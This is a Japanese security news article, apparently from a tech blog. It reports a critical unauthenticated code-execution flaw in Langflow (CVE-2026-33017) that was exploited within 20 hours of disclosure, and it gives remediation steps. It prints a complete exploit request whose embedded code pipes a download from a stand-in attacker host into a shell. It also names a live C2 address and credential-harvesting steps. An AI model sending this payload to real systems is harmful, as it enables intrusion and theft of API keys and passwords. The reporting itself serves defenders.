技術 約4分で読めます

LangflowのCVE-2026-33017、公開20時間以内に実攻撃が開始

LangflowにCVSS9.3の未認証RCE(リモートコード実行)脆弱性が報告され、公開からわずか20時間以内に実攻撃への利用が確認された。

Langflowとは

LangflowはLangChainをベースとしたオープンソースのLLMアプリケーションビルダーで、ノードをドラッグ&ドロップで接続するビジュアルフローエディタを通じてAIパイプラインを構築できる。RAGパイプラインやAIエージェントを視覚的に組み上げられることから、LLMOpsスタックとして企業・開発者ともに広く採用されている。問題はそのLangflowがインターネットに公開された状態で運用されているケースが多い点にある。

脆弱性の詳細

CVE-2026-33017は、/api/v1/build_public_tmp/{flow_id}/flow エンドポイントに存在する。このエンドポイントは認証なしでパブリックフローをビルドする機能を提供しているが、オプションの data パラメータを受け付ける際に、フロー定義のノード内に埋め込まれた任意のPythonコードをそのまま実行してしまう。

POST /api/v1/build_public_tmp/{flow_id}/flow
Content-Type: application/json

{
  "data": {
    "nodes": [
      {
        "type": "CustomComponent",
        "data": {
          "node": {
            "template": {
              "code": {
                "value": "import os; os.system('curl attacker.com/stage2 | sh')"
              }
            }
          }
        }
      }
    ]
  }
}

単一のHTTP POSTリクエストで任意コードが実行できる。認証トークンもCSRFトークンも不要だ。

根本原因はサンドボックスなしの exec() 呼び出しで、これはCVE-2025-3248と同じコードパスを共有している。CVE-2025-3248は認証済みエンドポイントの問題だったが、今回の対象エンドポイントはそもそも認証の仕組みが存在しない。脆弱性を発見・報告したAviral Srivastava氏はこの構造的な問題を次のように述べた。「認証要件を追加するだけではパブリックフロー機能全体が壊れる。」認証の追加で解決できず、コード実行そのものの無効化またはサンドボックス化が必要なアーキテクチャ上の欠陥だった。

項目詳細
CVE IDCVE-2026-33017
CVSS スコア9.3(Critical)
影響バージョンv1.8.1以下すべて
修正バージョン1.9.0.dev8(開発版)
脆弱性の種類認証欠如 + コードインジェクション
発見者Aviral Srivastava(2026-02-26報告)
公開日2026-03-17
実攻撃確認2026-03-17(公開20時間以内)

攻撃の経緯

公開日は2026年3月17日。その当日中に、クラウドセキュリティ企業Sysdigが実際の攻撃活動を観測した。

注目すべきは、公開時点でPoC(概念実証コード)が存在していなかった点だ。攻撃者はアドバイザリの記述だけから動作するエクスプロイトを構築し、インターネット全体へのスキャンを開始した。PoC待ちゼロでの実攻撃は、スキャンの自動化が進んだ現代では珍しくなくなっている。

攻撃の進行は段階的で、最初は単純なHTTP POSTによる実行確認プローブ、その後C2サーバー(攻撃者の指令サーバー、173.212.205[.]251:8443)からのペイロード(攻撃コード本体)配信へと発展した。並行してインフォスティーラー(情報窃取マルウェア)的な偵察活動も確認されており、/etc/passwd の読み出し、環境変数・設定ファイル・.env ファイルの抽出が行われた。これはデータベースパスワードやAPIキーを収集し、次段階の攻撃またはマルウェア展開の準備と見られる。

flowchart TD
    A[CVE-2026-33017公開<br/>2026-03-17] --> B[PoC不要<br/>アドバイザリからエクスプロイト構築]
    B --> C[インターネット全体スキャン<br/>20時間以内に開始]
    C --> D[単純HTTP POSTプローブ<br/>実行可否の確認]
    D --> E[悪用成功]
    E --> F[C2接続<br/>173.212.205.251:8443]
    E --> G[偵察フェーズ]
    F --> H[次段階ペイロード受信]
    G --> I[/etc/passwd読み出し]
    G --> J[環境変数・.env抽出]
    G --> K[設定ファイル取得]
    I & J & K --> L[クレデンシャル窃取<br/>マルウェア展開準備]

対応方法

開発版 1.9.0.dev8 にアップデートするのが最優先だ。安定版リリースを待つ場合は、それまでの間Langflowインスタンスへのインターネットアクセスを遮断する。

すでに公開状態で運用していた場合は侵害を前提に動く必要がある。

  • APIキー・データベースパスワード・LLMプロバイダのキーを全てローテーション
  • 不審なアウトバウンド接続(特にポート8443)の調査
  • .env ファイルや環境変数への不正アクセスログの確認
  • コンテナ環境ならイメージの再構築・再デプロイ

Langflowをローカル限定で動かしている場合は緊急度は下がるが、VPN経由や踏み台サーバー経由でも外部からアクセス可能な環境は「インターネット公開」と同様に扱うべきだ。


Rapid7の2026年グローバル脅威ランドスケープレポートによれば、組織がパッチを適用するまでの平均時間は約20日。今回は20時間で攻撃が始まった。フローエンジン系ツールの exec() は狙われやすい構造なので、Langflowに限らず同種のツールを公開運用しているなら点検しておいたほうがいい。